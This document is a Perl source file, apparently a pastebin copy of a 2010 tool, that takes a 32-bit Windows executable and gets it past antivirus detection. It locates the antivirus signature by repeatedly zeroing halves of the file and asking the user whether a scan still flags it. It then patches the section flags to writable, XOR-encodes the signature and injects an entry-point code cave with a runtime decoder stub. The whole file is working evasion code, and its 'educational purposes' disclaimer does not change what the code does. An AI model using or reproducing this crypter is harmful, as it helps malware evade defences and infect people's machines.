· 6 years ago · Oct 09, 2019, 09:44 PM
1#!/usr/bin/perl
2
3#Author: Daniel Regalado aka Danux Mitnick - From NeZa to the World!
4#mail: danuxx arroba gmail.com
5#Date: 07/17/2010
6#For Educational purposes ONLY.
7#Disclaimer: Author is not reponsible for any misuse of the program.
8#Tested on Windows Vista 32bits
9#Supports only IA32 architecture
10
11use POSIX;
12use Getopt::Std;
13#getopts('o:s:f:',\%args);
14getopts('f:o:i:',\%args);
15
16#if (!defined ($args{'o'} and $args{'s'} and $args{'f'} ) ){
17if (!defined ($args{'f'}) ){
18 print "\n\tUsage: Regalado-AV.pl -f <file> -o [opcode_num] -i [ImageBase address (hex)]\n\n" .
19 "\t-f: <32 bits PE file to be parsed>\n" .
20 "\t-o: Optional: [Number of opcodes found in the Entry Point to be overwritten]\n\n" .
21 "\t-i: Optional: [ImageBase address in hexadecimal] - Rare cases when the OS changes the ImageBase at run time.\n\n";
22 exit(0);
23}
24
25my $offset = 0;
26my $file = $args{'f'};
27my @main; #Array which contains the raw file
28my @copia; #Backup Array of the original one. See above.
29my $fin = 0; #Contains the total length of the file
30my $ans = ""; #Contains the last response from end user after scanning the file.
31my %PE = (); #Contains the Structure of PE File
32my %SECS = (); #Contains the content of each section from PE file (only the data needed for each section)
33my $firstOffset = 0; #Contains the offset of first section (commonly .text one
34my $rawEntryPoint = 0; #Contains the RAW offset of Entry Point
35my $aux = 0; #multipurpose
36my $sig_ini = 0; #Signature offset
37my $sig_end = 0; #Signature last byte
38my $vsig_ini = 0; #Virtual Signature offset
39my $vsig_end = 0; #Virtual Signature last byte
40my $sc = 0; #Holds section number where the signature is located.
41#my $save_opcodes = 5; #Contains the opcodes being replaced by code cave and used to return the flow to the app after decoder is executed.
42
43load_file(); #Let's load the raw file into @main array.
44
45@copia = @main; #Copy of raw file to handle it without affecting the original one.
46
47#Function which gathers data from PE Header and from each section of the file in order to:
48#1) Identify each section and raw ranges to know where the signature is located
49#2) Find the bytes needed to make the section writable in order to add the XOR function to hide the signature
50#3) Entry point to know where to insert the Code Cave at the begining of the file in order to redirect the execution to the encoded routine
51
52get_PE_structure(@copia);
53
54#Identifying the signature bytes being detected by the AV. The signature could be different for each AV vendor so run this process one product at a time.
55#p1 = Divide el pedazo en 2 partes
56#p2 = No divide otra vez, solo ofusca la parte 2
57
58get_signature("p1", $firstOffset, $fin, @copia);
59
60code_cave(); #Calculate on the fly and Insert CALL opcode at Entry Point, inject decoder and xor signature
61
62sub get_PE_structure(){
63
64 my @cop = @_;
65 # bytes 60 - 63 holds the PE Header offset address
66 $PE{"pe_off_addr"} = hex($cop[63] . $cop[62] . $cop[61] . $cop[60]);
67 print " PE Offset Address=>" . $PE{"pe_off_addr"} . "\n"; # En decimal
68 my $pe_off = $PE{"pe_off_addr"};
69
70 $PE{"pe_header_off"} = $cop[$pe_off] . $cop[$pe_off + 1];
71
72 #Validating we got the PE Header which starts with 50 45 = PE
73 if ($PE{"pe_header_off"} eq "5045"){
74 print " PE Header Prefix =>" . $PE{"pe_header_off"} . "\n";
75 }
76 else{
77 print " PE Header Offset NOT FOUND\n";
78 }
79 #[80h + 6h] = #NumberOfSections -> 6 bytes after offset of PE Header defined above.
80 $PE{"NumberOfSections"} = $cop[$PE{"pe_off_addr"} + 6];
81 print " PE Number of Sections=>" . $PE{"NumberOfSections"} . "\n";
82
83 #[80h + 28h] = #Virtual AddressOfEntryPoint -> 28h = 40d
84 $PE{"AddressOfEntryPoint"} = $cop[$pe_off + 43] . $cop[$pe_off + 42] . $cop[$pe_off + 41] . $cop[$pe_off + 40];
85 print " PE AddressOfEntryPoint=>" . $PE{"AddressOfEntryPoint"} . "\n";
86
87 #[80h + 2Ch] = #Virtual BaseOfCode -> 2Ch = 44d
88 #BaseOfCode = RVA of first byte of code when loaded into RAM
89 $PE{"BaseOfCode"} = $cop[$pe_off + 47] . $cop[$pe_off + 46] . $cop[$pe_off + 45] . $cop[$pe_off + 44];
90 print " PE BaseOfCode=>" . $PE{"BaseOfCode"} . "\n";
91
92 #[80h + 34h] = #ImageBase -> 34h = 52d
93 $PE{"ImageBase"} = $cop[$pe_off + 55] . $cop[$pe_off + 54] . $cop[$pe_off + 53] . $cop[$pe_off + 52];
94 print " PE ImageBase=>" . $PE{"ImageBase"} . "\n";
95
96 #Calculating the distance from the start of Code section to the Entry Point, this will be used to calculate the Raw Offset of Entry Point
97
98 my $diff = hex($PE{"AddressOfEntryPoint"}) - hex($PE{"BaseOfCode"});
99 #print " Entry point is $diff (dec) bytes away from the start of code section\n";
100
101
102 #Sections related data, not part of PE Structure but each section
103
104 #[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section
105 $sec_off = $pe_off + 248;
106 for (my $i =1; $i <= $PE{"NumberOfSections"}; $i++){
107
108 #[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section
109 #[178] = #Offset of .text section
110 #[178] = #Section name - 8 bytes
111 $sec_name = sprintf("%c%c%c%c%c%c%c%c", hex($cop[$sec_off]) , hex($cop[$sec_off + 1]) , hex($cop[$sec_off + 2]) , hex($cop[$sec_off + 3]) ,
112 hex($cop[$sec_off + 4]) , hex($cop[$sec_off + 5]) , hex($cop[$sec_off + 6]) , hex($cop[$sec_off + 7]));
113
114 $sec_name =~ s/^(\.[a-zA-Z]+).+/$1/;
115 print " Section Name=>" . $sec_name . "<<\n";
116 $SEC{$i}{"name"} = $sec_name;
117 $SEC{$i}{"offset"} = $sec_off;
118 #print " Section Offset=>" . $SEC{$i}{"offset"} . "\n";
119
120 #[178h + 0c] = #Virtual Address - Size of data on disk - 4 bytes - + 0c h = 12d
121 $SEC{$i}{"VirtualAddress"} = $cop[$sec_off + 15] . $cop[$sec_off + 14] . $cop[$sec_off + 13] . $cop[$sec_off + 12];
122 print " VirtualAddress=>" . $SEC{$i}{"VirtualAddress"} . "\n";
123
124 #[178h + 10h] = #SizeOfRawData - Size of data on disk - 4 bytes
125 $SEC{$i}{"SizeOfRawData"} = $cop[$sec_off + 19] . $cop[$sec_off + 18] . $cop[$sec_off + 17] . $cop[$sec_off + 16];
126 print " SizeOfRawData=>" . $SEC{$i}{"SizeOfRawData"} . "\n";
127
128 #[178h + 14h] = #PointerToRawData - Raw Offset of section on disk - could be zero, if not, take it without extra calc, otherwise extra calc.
129 $SEC{$i}{"PointerToRawData"} = $cop[$sec_off + 23] . $cop[$sec_off + 22] . $cop[$sec_off + 21] . $cop[$sec_off + 20];
130 print " PointerToRawData=>" . $SEC{$i}{"PointerToRawData"} . "\n";
131
132
133 if ($i == 1){
134 #Saving ONLY offset of first section which will be the offset to start obfuscating the file
135 $firstOffset = hex($SEC{$i}{"PointerToRawData"});
136
137 #Calculating the Raw offset of Entry Point based on Virtual AddressOfEntryPoint
138 $rawEntryPoint = $firstOffset + $diff;
139 print " Raw Entry Point: $rawEntryPoint\n";
140 }
141
142 #[178h + 24h] = #Characteristics - DWORD = 4 bytes - Defines the permissions of the file when loaded in Memory
143 #Flags => 20000000 - section is executable
144 # 40000000 - section is readable
145 # 80000000 - section is writable - Si valor del flag es menor a 80000000 entonces no es writable y hay que sumarle esta cantidad.
146 # e.g. .rdata flag = 40000040 no writable. Making it writable will require to add 80000000 to current value so final flag would be = C0000040
147 # 40000040 + 80000000 = C0000040
148 $SEC{$i}{"flag"} = $cop[$sec_off + 39] . $cop[$sec_off + 38] . $cop[$sec_off + 37] . $cop[$sec_off + 36];
149 print " Flag=>" . $SEC{$i}{"flag"} . "\n";
150 #Pass current flag of section and the array containing the raw file, this when calling the function
151
152 #Now, lets move on to the next section offset which is 28h = 40d bytes further
153 $sec_off += 40;
154 #print "New offset => $sec_off\n";
155
156 }#End of For loop
157}
158
159
160my $c_found = 0; #Contador que valida si 2 veces seguidas el virus se ha encontrado, lo cual quiere decir que se necesita obfuscar P1 y P2 juntos
161
162sub get_signature(){
163
164 my ($parte, $off, $end, @cop) = @_;
165
166 my $chunk = "";
167 my $div = "";
168 my $mod = "";
169
170 if ($parte eq "p1") { #Divide en 2 partes y utiliza la primera - p1
171 $chunk = $end - $off;
172 $div = $off + ($chunk / 2);
173 $mod = $chunk % 2;
174
175 if ($mod == 1) {
176 $div = ceil($div);
177 #print "Redondeo: $div\n";
178 }
179 }
180 elsif ($parte eq "p2"){#No divide solo ofusca la parte 2
181
182 $div = $end;
183 }
184
185 print "\n" . $off . " < -- > ". $div . "\n";
186
187 #Siempre habre solo 2 partes del archivo: Parte 1 y Parte 2
188 #for my $n ($offset .. $div){#Llenamos Parte 1 de ceros
189 my $cont = 0;
190 for my $n ($off .. $div){#Llenamos Parte 1 de ceros
191 $cop[$n] = sprintf("%02x", "00");
192 $cont += 1;
193 }
194 print "Bytes obfuscated: " . $cont . "\n";
195
196 write_file(@cop); #Write file to be scanned by AV
197 ask_user(); #Asl end user whether virus found
198
199 if ($ans eq "y") { #Virus Found then signature is located in the Parte 2
200 $c_found +=1;
201 if ($c_found == 2){
202 #check if a previous good obfuscation of signature was detected
203 if ($sig_ini > 0){
204 print "\n\t***** Signature FOUND *******\n";
205 #print "\t" . $sig_ini . " < -- > ". $sig_end . "\n";
206 get_section();
207 get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine
208 print "\tSignature Address range: " . $vsig_ini . " < -- > ". $vsig_end . "\n\n";
209 }
210 else{
211 print "\n\t***** Oooops :-( ... Signature NOT FOUND *******\n";
212 exit(0);
213 }
214 }
215 else{
216 get_signature("p2", $div + 1, $end, @copia);
217 }
218 }
219 elsif ($ans eq "n") {#Signature located at Parte 1
220 $c_found =0;
221 $sig_ini = $off;
222 $sig_end = $div;
223 #Before searching again for the signature, we make sure the signature is not less than 1 byte, if so, no more iteractions
224 if ( ($div - $off <= 1) ){
225 print "\n\t***** Signature FOUND ***********\n" ;
226 #print "\t" . $sig_ini . " < -- > ". $sig_end . "\n";
227 get_section();
228 get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine
229 print "\tSignature Address Range: " . $vsig_ini . " < -- > ". $vsig_end . "\n\n";
230 }
231 else{
232 get_signature("p1", $off, $div, @copia);
233 }
234 }
235}
236
237sub get_signatureVA(){
238 #Obtenemos los bytes relativos al raw offset de la seccion
239 my $rel_ini = $sig_ini - hex($SEC{$sc}{"PointerToRawData"});
240 my $rel_end = $sig_end - hex($SEC{$sc}{"PointerToRawData"});
241 #Obtenemos Virtual offset del signature igual a => ImageBase + section VOffset + signature offset
242 $vsig_ini = hex($PE{"ImageBase"}) + hex($SEC{$sc}{"VirtualAddress"}) + $rel_ini;
243 $vsig_end = hex($PE{"ImageBase"}) + hex($SEC{$sc}{"VirtualAddress"}) + $rel_end;
244 #Formatting the value
245 $vsig_ini = sprintf("%08x", $vsig_ini);
246 $vsig_end = sprintf("%08x", $vsig_end);
247}
248
249#Get the section where the signature is located and make it writable is needed.
250sub get_section(){
251 $sc = 0;
252 my $off = $sig_ini;
253 for (my $i =1; $i <= $PE{"NumberOfSections"}; $i++){
254 $ini = hex( $SEC{$i}{"PointerToRawData"} );
255 $end = hex ($SEC{$i}{"PointerToRawData"}) + hex($SEC{$i}{"SizeOfRawData"});
256
257 #Validating the section contains info, sometimes sections like .bss does not contain information
258 if ($ini >0 and $end > 0){
259 #print "\nComparando:\n $off >= $ini and $off < $end\n";
260 if ($off >= $ini and $off < $end){
261 $sc = $i;
262 print ("\tLocated at section: " . $SEC{$sc}{"name"} . "\n");
263 last;
264 }
265 }
266 }
267 if ($sc == 0){
268 print "\n\tSection where signature is located NOT FOUND \n\n";
269 exit(0);
270 }
271 else{
272 set_flag($sc);
273 }
274}
275
276sub set_flag(){
277
278 my $i = shift @_;
279 #@copia = @main;
280 #Si el valor del flag es < 80000000 entonces no es writable y por lo tanto se le suma al valor 80000000. Y si es >= 80000000 entonces es writable y no se hace nada.
281 if ( hex($SEC{$i}{"flag"}) < hex("80000000") ) {
282 print ("\tThe section is not writable! so patching the section.\n");
283 my $w_byte = sprintf("%x", hex($SEC{$i}{"flag"}) + hex("80000000") ) ;
284 #print " New writable Flag=>" . $w_byte . "\n";
285 #Patching the binary in little endian.
286 $copia[$SEC{$i}{"offset"} + 36] = substr $w_byte, 6,2;
287 $copia[$SEC{$i}{"offset"} + 37] = substr $w_byte, 4,2;
288 $copia[$SEC{$i}{"offset"} + 38] = substr $w_byte, 2,2;
289 $copia[$SEC{$i}{"offset"} + 39] = substr $w_byte, 0,2;
290 #Escribimos nuevo binario parchado
291 #write_file(@copia);
292 }
293 else{
294 print ("\tThe section is writable so we are good to go!\n");
295 }
296}
297
298sub code_cave(){
299 my $cnt = 0;
300 my $decod_off = 0;
301 my $decod_rel = 0; #Posicion relative to Decoder offset
302 my $decod_off_hex = 0;
303 my $save_opcodes = 0; #Contains the opcodes being replaced by code cave and used to return the flow to the app after decoder is executed.
304 my @op; #Array that contains the opcodes to be overwritten by the tool in order to preserve application flow after decoder execution
305 my $key = 0; #Key used for XOR Encoder randomly generated.
306
307 #Finding a space of 35 bytes to insert our decoder. FIXME**** Only searching within text section so far *****
308 $ini = $rawEntryPoint;
309 $end = hex ($SEC{"1"}{"PointerToRawData"}) + hex($SEC{"1"}{"SizeOfRawData"});
310
311 for (my $i = $ini; $i < $end; $i++){
312 if (hex($copia[$i]) == "\x00"){
313 if ($cnt == 0){ #Almacenamos el offset donde ira el decoder
314 #print " Found at byte: $copia[$i] \n";
315 $decod_off = $i;
316 }
317 $cnt +=1;
318 if ($cnt == 35) {last};
319 }
320 else{
321 $cnt = 0;
322 }
323 }
324 #Obtaining the number of opcodes to be overwritten by our Code Cave
325 if (defined ($args{'o'}) ){
326 $save_opcodes = $args{'o'};
327 }
328 else{#Compare the Entry Point opcodes with the ones supported by the tool (opcodes file), if found use it otherwise send an error to end user
329 $save_opcodes = 6; # Common entry point opcodes (Stack setup)= PUSH EBP, MOV EBP, ESP, SUB ESP, 8
330 }
331 #Saving current opcodes in the Entry Point before inserting our Code Cave so that we can return the app flow properly
332 $op[0] = $copia[$rawEntryPoint];
333 for (my $n = 1; $n < $save_opcodes; $n++){
334 $op[$n] = $copia[$rawEntryPoint + $n];
335 }
336 #print "Original opcode bytes: " . join("", @op) . "\n";
337
338
339 #Calculating the relative address from Entry Point to Decoder offset to be used as the CALL Parameter
340 $decod_rel = $decod_off - $rawEntryPoint - 5 ; #substract the 5 bytes of the call opcode instruction
341 $decod_rel = sprintf("%08x", $decod_rel);
342 #print "Decoder Offset found at byte:". $decod_rel . "\n";
343
344
345 #Assembling CALL opcode (5 bytes) and inserting it at Raw Entry Point
346 $copia[$rawEntryPoint] = "E8";
347 $copia[$rawEntryPoint + 1] = substr $decod_rel, 6,2;
348 $copia[$rawEntryPoint + 2] = substr $decod_rel, 4,2;
349 $copia[$rawEntryPoint + 3] = substr $decod_rel, 2,2;
350 $copia[$rawEntryPoint + 4] = substr $decod_rel, 0,2;
351
352 #Inserting NOPs if more than 5 opcodes overwritten by our code cave
353 if ($save_opcodes > 5){
354 my $dif = $save_opcodes - 5;
355 my $n=5;
356 for (my $o = 0; $o < $dif; $o++){
357 $copia[$rawEntryPoint + $n] = "90";
358 $n++;
359 }
360 }
361
362
363 #Insertamos Decoder
364 $copia[$decod_off] = "B8"; #MOV EAX, SIGNATURE_OFFSET
365 $copia[$decod_off + 1] = substr $vsig_ini, 6,2;
366 $copia[$decod_off + 2] = substr $vsig_ini, 4,2;
367 $copia[$decod_off + 3] = substr $vsig_ini, 2,2;
368 $copia[$decod_off + 4] = substr $vsig_ini, 0,2;
369 #XOR BYTE PTR DS:[EAX], RANDOM_KEY
370 $copia[$decod_off + 5] = "80";
371 $copia[$decod_off + 6] = "30";
372
373 $key = getKey();
374 $copia[$decod_off + 7] = $key; #XORing with random key
375 #INC EAX
376 $copia[$decod_off + 8] = "40";
377 $copia[$decod_off + 9] = "90";
378 #CMP EAX, SIGNATURE_END
379 $copia[$decod_off + 10] = "3D";
380 $copia[$decod_off + 11] = substr $vsig_end, 6,2;
381 $copia[$decod_off + 12] = substr $vsig_end, 4,2;
382 $copia[$decod_off + 13] = substr $vsig_end, 2,2;
383 $copia[$decod_off + 14] = substr $vsig_end, 0,2;
384 #JLE SHORT XOR_INSTRUCTION - IF SIGNATURE END HAS NOT BEEN REACHED KEEP ENCODING/DECODING
385 my $salto = ($decod_off + 16) - ($decod_off + 5); #Difference from current position (plus 2 = 16 bytes of JMP intruction) with address where XOR Inst is located
386 $salto = hex("FF") - $salto; #Calculating negative JUMP
387 $salto = sprintf("%02x", $salto);
388 $copia[$decod_off + 15] = "7E";
389 $copia[$decod_off + 16] = $salto;
390 #Now we insert the opcodes overwritten by code cave at EntryPoint
391
392 #If the instruction overwritten by our code cave is a CALL then it has an special treatment since the relative address must be adjusted ON THE FLY
393 my $l = 17;
394 #Verifying whether it is a CALL instruction
395 #FIXME Add support to calculate relative address when first instruction is a JMP instead of CALL
396 #print "\t\nCALL OPCODE: $op[0]\n";
397 if ( (uc $op[0]) eq "E8"){
398 #Getting virtual address where the call is trying to jump
399 my $addr = $op[4] . $op[3] . $op[2] . $op[1]; #relative address
400 my $naddr = hex($PE{"ImageBase"}) + hex($PE{"AddressOfEntryPoint"}) + hex($addr) + 5; #Virtual Address ( 5 = CAll opcodes bytes)
401 #print "\t\nAddress where original call cave is intenting to jump into: " . sprintf("%08x", $naddr) . "\n";
402
403 my $vaddr = hex($PE{"ImageBase"}) + hex($PE{"AddressOfEntryPoint"}) + hex($decod_rel) + 5 + $l; #Virtual address where the new CALL will be adjusted
404 #print "\t\nAddress of EIP: " . sprintf("%08x", $vaddr) . "\n";
405
406 my $nv;
407 if ($naddr > $vaddr){ #CALL positivo
408 #print "\t\nCall positivo\n";
409 $nv = $naddr - $vaddr - 5;
410 }
411 else{ #CALL Negativo
412 #print "\t\nCall negativo\n";
413 $nv = $vaddr + 4 - $naddr; #Calculating the bytes to jump back to ret address + 4 bytes of the CALL Instruction (5 bytes)
414 $nv = hex("FFFFFFFF") - $nv; #Command to add to the CALL instruction
415 }
416 $nv = sprintf("%08x", $nv);
417 $copia[$decod_off + $l] = "E8";
418 $copia[$decod_off + $l + 1] = substr $nv, 6,2;
419 $copia[$decod_off + $l + 2] = substr $nv, 4,2;
420 $copia[$decod_off + $l + 3] = substr $nv, 2,2;
421 $copia[$decod_off + $l + 4] = substr $nv, 0,2;
422 $l +=5;
423 }
424 else{
425 foreach(@op){
426 $copia[$decod_off + $l] = $_;
427 $l++;
428 }
429 }
430 #l must be = 22 here #Returning application flow via CALL instruction:
431 my $actual = ($decod_off + $l); #Final position after save opcodes
432 my $ret = $rawEntryPoint + $save_opcodes; #Finally we return the flow to the program right after our code cave inserted at EntryPoint
433 $salto = $actual + 4 - $ret; #Calculating the bytes to jump back to ret address + 4 bytes of the CALL Instruction (5 bytes)
434 $salto = hex("FFFFFFFF") - $salto; #Command to add to the CALL instruction
435 $salto = sprintf("%08x", $salto);
436
437 $copia[$actual] = "E8";
438 $copia[$actual + 1] = substr $salto, 6,2;
439 $copia[$actual + 2] = substr $salto, 4,2;
440 $copia[$actual + 3] = substr $salto, 2,2;
441 $copia[$actual + 4] = substr $salto, 0,2;
442
443 xor_f($key); # Xoring the signature
444 write_file(@copia);
445 print "\t\nEncoded binary called testiculo.exe created ... Disfrutalo!!!\n";
446}
447
448sub xor_f(){
449 my $u = "";
450 my $key = shift;
451 for my $n ($sig_ini .. $sig_end){
452 $u = hex($copia[$n]) ^ hex($key);
453 $copia[$n] = sprintf("%02x", $u);
454 }
455}
456
457#Get Key to use by XOR Encoder
458sub getKey(){
459 my $range = 255;
460 my $k = sprintf("%02x", ceil(rand($range)) );
461 return $k;
462}
463
464sub ask_user(){
465
466 if ($aux == 0){
467 print "\n\tPlease scan the file testiculo.exe created on current directory \n" .
468 "\tand let me know whether a Virus was found[y] or NOT[n].\n" .
469 "\tOnly [y] OR [n] chars accepted\n\n" .
470 "\tI will be here waiting for you honey...\n\n";
471 $aux +=1;
472 }
473 print "Virus Found? ";
474 while ($ans = <>){
475 chomp($ans);
476 if ($ans eq "y" or $ans eq "n"){
477 #print "\t\nIdentifying the signature... cross ur fingers!\n";
478 last;
479 }
480 else{
481 print "\t\n\"". $ans . "\" ENTERED. Only [y] OR [n] chars accepted as response \n";
482 }
483 }
484}
485
486#Imprime el arreglo que contiene el raw file en el file system.
487#Param 1: Arreglo que contiene el raw file
488sub write_file(){
489
490 my @final = @_;
491 open (FILE2,">testiculo.exe") or die $!;
492 binmode(FILE2);
493 for my $n (0 .. $#final){
494 print FILE2 sprintf("%c", hex($final[$n]) );
495 }
496 close (FILE2);
497}
498
499sub load_file(){
500
501 open(FILE, "<$file") or die $!;
502 binmode(FILE);
503 undef($main);
504 my $char = "";
505 my $i =0;
506
507 while (1) {
508 $char = getc(FILE);
509 $main[$i] = sprintf("%02x", ord($char));
510 if (eof(FILE)){
511 $fin = $i;#Saving the length of the file.
512 last;
513 }
514 $i +=1;
515 }
516 close(FILE);
517}